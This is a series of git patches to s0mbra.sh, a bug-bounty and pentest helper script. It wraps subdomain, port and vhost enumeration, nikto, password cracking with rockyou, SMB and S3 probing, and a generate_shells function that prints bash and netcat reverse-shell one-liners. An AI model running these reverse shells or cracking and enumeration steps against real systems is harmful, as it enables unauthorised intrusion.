aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null if [[ "$?" == 0 ]]; then @@ -380,25 +380,25 @@ s3go() { dex_to_jar() { clear - echo -e "$BLUE[+] Exporting $1 into .jar...$CLR" + echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" d2j-dex2jar --force $1 } decompile_jar() { clear - echo -e "$BLUE[+] Opening $1 in JD-Gui...$CLR" + echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } jadx() { clear - echo -e "$BLUE[+] Opening $1 in JADX...$CLR" + echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } apk() { clear - echo -e "$BLUE[+] OK, let's see this APK...$CLR" + echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" unzip -d unzipped $1 if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" @@ -410,14 +410,14 @@ apk() { abe() { clear - echo -e "$BLUE[+] Extracting $1.ab backup into $1.tar...$CLR" + echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1.ab $1.tar if [[ "$?" == 0 ]]; then - echo -e "\n$GREEN[+] Success! $1.ab unpacked and $1.tar was created..." - echo -e "[+] Let's untar some files, shall we?$CLR" + echo -e "\n$GREEN[s0mbra] Success! $1.ab unpacked and $1.tar was created..." + echo -e "[s0mbra] Let's untar some files, shall we?$CLR" rm -rf $1_extracted && mkdir ./$1_extracted tar -xf $1.tar -C $1_extracted - echo -e "\n$GREEN[+] tar extracted, folder(s) created:$CLR" + echo -e "\n$GREEN[s0mbra] tar extracted, folder(s) created:$CLR" ls -l $1_extracted elif [[ "$?" != 0 ]]; then echo -e "\n$RED- Damn... :/$CLR" @@ -429,7 +429,7 @@ fu() { # adjust here to add/remove HTTP response status code(s) to match on: HTTP_RESP_CODES=200,206,301,302,403,500 - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then @@ -443,14 +443,14 @@ fu() { else ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi - echo -e "$BLUE\n[+] Done! $CLR" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } generate_shells() { clear port=$2 - echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" + echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" echo -e " $CLR[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" echo -e " $CLR[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" @@ -481,7 +481,7 @@ generate_shells() { } pwn() { - echo -e "$BLUE[+] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" + echo -e "$BLUE[s0mbra] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" } cmd=$1 From eb4bcf350b2604151f5062c179c9e1a73b13a808 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 5 Jan 2022 10:21:57 +0000 Subject: [PATCH 247/460] [s0mbra] lookaround() to quickly figure out new program scope --- s0mbra.sh | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index dca12dc..602d71b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -198,6 +198,23 @@ htpx() { echo -e "$BLUE[s0mbra] Done." } +# quick subdomain enum + available HTTP server(s) - to find out if a program is +# actually worth to look into :D +lookaround() { + TMPDIR=$(pwd) + echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + # automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) @@ -497,6 +514,9 @@ case "$cmd" in htpx) htpx "$2" ;; + lookaround) + lookaround "$2" + ;; recon) recon "$2" ;; @@ -581,6 +601,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" + echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From 42ae695af5f18dff4a4e51cf4ae1925a73b27d68 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 9 Jan 2022 11:20:49 +0000 Subject: [PATCH 248/460] [s0mbra] Adjust nmap settigns --- s0mbra.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 602d71b..d22ee3a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -29,13 +29,13 @@ set_ip() { full_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[s0mbra] Running full nmap scan against all ports on $1 ...$CLR" - ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap -p- --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else echo -e "$BLUE[s0mbra] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e " ...search open ports...$CLR" - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap --top-ports "$2" --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi @@ -47,10 +47,10 @@ full_nmap_scan() { quick_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" - nmap -p- $1 + nmap -p- --min-rate=1000 -T4 $1 else echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" - nmap --top-ports $2 $1 + nmap --top-ports $2 --min-rate=1000 -T4 $1 fi echo -e "$BLUE\n[s0mbra] Done! $CLR" @@ -227,7 +227,7 @@ recon() { # nmap echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + nmap --min-rate=1000 -T4 -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx echo -e "\n$GREEN--> httpx$CLR\n" From 1c07094c3854d5fa35d5d7bc80ed45cba2ffd8de Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 10 Jan 2022 13:02:56 +0000 Subject: [PATCH 249/460] [s0mbra] Added vhosts enumeration to ransack() --- s0mbra.sh | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d22ee3a..8301a97 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -233,7 +233,7 @@ recon() { echo -e "\n$GREEN--> httpx$CLR\n" httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp - # ffuf + # ffuf - starter + lowercase enumeration echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); do @@ -283,6 +283,11 @@ ransack() { echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + # vhosts enumeration + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + # ffuf ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log From e75319d52cf09c8542f921f95123388a787dfdd0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 14 Jan 2022 13:33:15 +0000 Subject: [PATCH 250/460] [s0mbra] um() improvements --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8301a97..7b32445 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -105,8 +105,8 @@ ssh_to_john() { um() { FILENAME=$1 echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" - unminify $FILENAME > unmimified.js - echo -e "\n\n[s0mbra]Done." + unminify $FILENAME > unmimified.$FILENAME + echo -e "$BLUE[s0mbra] Done." } # static code analysis of npm module installed in ~/node_modules From eb22fec6a37fbd930de2c31583d3dd780e359577 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 15 Jan 2022 19:33:42 +0000 Subject: [PATCH 251/460] [s0mbra] Output improvements --- s0mbra.sh | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7b32445..b2f2c54 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -70,6 +70,7 @@ http() { PORT=$1 fi python3 -m http.server $PORT + echo -e "\n$BLUE[s0mbra] Done." } # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] @@ -82,6 +83,7 @@ rockyou_john() { "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi cat "$HACKING_HOME"/tools/jtr/run/john.pot + echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt @@ -90,6 +92,7 @@ rockyou_zip() { "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt + echo -e "\n$BLUE[s0mbra] Done." } # converts id_rsa to JTR format for cracking SSH key @@ -99,6 +102,7 @@ ssh_to_john() { echo -e "$BLUE[s0mbra] We have a hash.\n" echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash + echo -e "\n$BLUE[s0mbra] Done." } # runs unminify on $1 JavaScript file @@ -106,7 +110,7 @@ um() { FILENAME=$1 echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" unminify $FILENAME > unmimified.$FILENAME - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # static code analysis of npm module installed in ~/node_modules @@ -114,7 +118,7 @@ um() { snyktest() { echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" snyk test - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open @@ -140,7 +144,7 @@ smb_enum() { smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings done rm -f __disks - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # download file from SMB share @@ -161,7 +165,7 @@ smb_get_file() { echo -e "$GREEN" smbmap -H "$1" -u "$2" -p "$3" --download "$4" echo -e "$CLR" - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # mounts SMB share at ./mnt/shares @@ -172,7 +176,7 @@ smb_mount() { mount_smbfs "//$3@$1/$2" ./mnt/shares echo -e "$YELLOW\n[s0mbra] Locally available shares:\n.$CLR" ls -l ./mnt/shares - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # umounts from ./mnt/shares and delete it @@ -180,7 +184,7 @@ smb_umount() { echo -e "$BLUE[s0mbra] Unmounting SMB share(s) from ./mnt/shares...$CLR" umount ./mnt/shares rm -rf ./mnt - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available @@ -188,14 +192,14 @@ smb_umount() { nfs_enum() { echo -e "$BLUE[s0mbra] Enumerating nfs shares (TCP 2049) on $1...$CLR" nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # executes httpx on the list of host(s) htpx() { echo -e "$BLUE[s0mbra] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } # quick subdomain enum + available HTTP server(s) - to find out if a program is @@ -378,7 +382,7 @@ s3() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" fi - echo -e "$BLUE[s0mbra] Done." + echo -e "\n$BLUE[s0mbra] Done." } s3go() { From efbd41ee13d87affa9a2431077cf3b019cd5e94e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 16 Jan 2022 09:34:38 +0000 Subject: [PATCH 252/460] [s0mbra] added wrapper for creds (defcreds) --- s0mbra.sh | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index b2f2c54..60b7c92 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -503,13 +503,21 @@ generate_shells() { echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" echo -e "\033[36m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" echo -e "\033[36m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" - echo -e "$NEWLINE" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } pwn() { echo -e "$BLUE[s0mbra] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" } +defcreds() { + clear + echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" + creds search $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + + cmd=$1 clear @@ -556,6 +564,9 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; + defcreds) + defcreds "$2" + ;; um) um "$2" ;; @@ -633,6 +644,7 @@ case "$cmd" in echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" + echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t\t -> default credentials for DEVICE or SYSTEM" echo -e "$BLUE:: SAST ::$CLR" echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" From ae0a58e0aead287fb1670607aeac6653db701dfa Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 16 Jan 2022 15:11:20 +0000 Subject: [PATCH 253/460] test commit --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 60b7c92..30ac083 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -517,7 +517,6 @@ defcreds() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } - cmd=$1 clear From a63f42ebfcf8e957e31607498ac2a21df7f72ab6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 16 Jan 2022 20:11:20 +0000 Subject: [PATCH 254/460] [s0mbra] Output fixes --- s0mbra.sh | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 30ac083..2edbd38 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -8,7 +8,7 @@ HACKING_HOME="/Users/bl4de/hacking" GRAY='\033[1;30m' -RED=' $CLR' +RED='\033[1;31m' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' @@ -402,12 +402,14 @@ s3go() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- can't get $2 :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } dex_to_jar() { clear echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" - d2j-dex2jar --force $1 + d2j-dex2jar --force $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" } decompile_jar() { @@ -432,6 +434,7 @@ apk() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- unzipping .apk failed :/... :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } abe() { @@ -448,6 +451,7 @@ abe() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- Damn... :/$CLR" fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" } fu() { @@ -506,10 +510,6 @@ generate_shells() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -pwn() { - echo -e "$BLUE[s0mbra] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" -} - defcreds() { clear echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" @@ -521,9 +521,6 @@ cmd=$1 clear case "$cmd" in - pwn) - pwn "$2" - ;; set_ip) set_ip "$2" ;; From ed74eb8773c4128e29e02188f5a2e2300eac20b6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 17 Jan 2022 00:06:05 +0000 Subject: [PATCH 255/460] [s0mbra] added base64 decode --- s0mbra.sh | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2edbd38..9a9e4ca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -210,7 +210,7 @@ lookaround() { # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # httpx echo -e "\n$GREEN--> httpx$CLR\n" @@ -219,7 +219,7 @@ lookaround() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# automated recon: subfinder + nmap + httpx + ffuf | on domain +# automated recon: subfinder + nmap + httpx + ffuf | on domain(s) -> save to scope file recon() { TMPDIR=$(pwd) START_TIME=$(date) @@ -227,7 +227,7 @@ recon() { # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # nmap echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" @@ -511,12 +511,17 @@ generate_shells() { } defcreds() { - clear echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" creds search $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } +b64() { + echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" + echo $1 | base64 -D + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + cmd=$1 clear @@ -602,6 +607,9 @@ case "$cmd" in s3) s3 "$2" ;; + b64) + b64 "$2" + ;; fu) fu "$2" "$3" "$4" ;; @@ -640,7 +648,7 @@ case "$cmd" in echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t\t -> default credentials for DEVICE or SYSTEM" + echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" echo -e "$BLUE:: SAST ::$CLR" echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" @@ -654,6 +662,7 @@ case "$cmd" in echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" From f95d92d8a44ad8576f24fd3bf39507916b6ee574 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 18 Jan 2022 10:14:23 +0000 Subject: [PATCH 256/460] [s0mbra] menu look improvements --- s0mbra.sh | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9a9e4ca..1d8b745 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -7,13 +7,16 @@ HACKING_HOME="/Users/bl4de/hacking" -GRAY='\033[1;30m' +GRAY='\033[38;5;8m' +GRAY_BG='\033[48;5;8m' RED='\033[1;31m' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' +BLUE_BG='\033[48;5;4m' LIGHTBLUE='\033[34m' +LIGHTBLUE_BG='\033[48;5;6m' MAGENTA='\033[1;35m' CYAN='\033[36m' @@ -280,8 +283,8 @@ ransack() { onaws $HOSTNAME # nmap - echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" - nmap --top-ports 10000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME # nikto echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" @@ -623,8 +626,8 @@ case "$cmd" in clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" - echo -e "$BLUE:: RECON ::$CLR" + echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" + echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" @@ -633,34 +636,34 @@ case "$cmd" in echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE:: CLOUD ::$CLR" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$BLUE:: PENTEST TOOLS ::$CLR" + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t$CLR" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$BLUE:: SMB SUITE ::$CLR" + echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" - echo -e "$BLUE:: PASSWORDS CRACKIN' ::$CLR" + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t$CLR" echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE:: SAST ::$CLR" + echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest 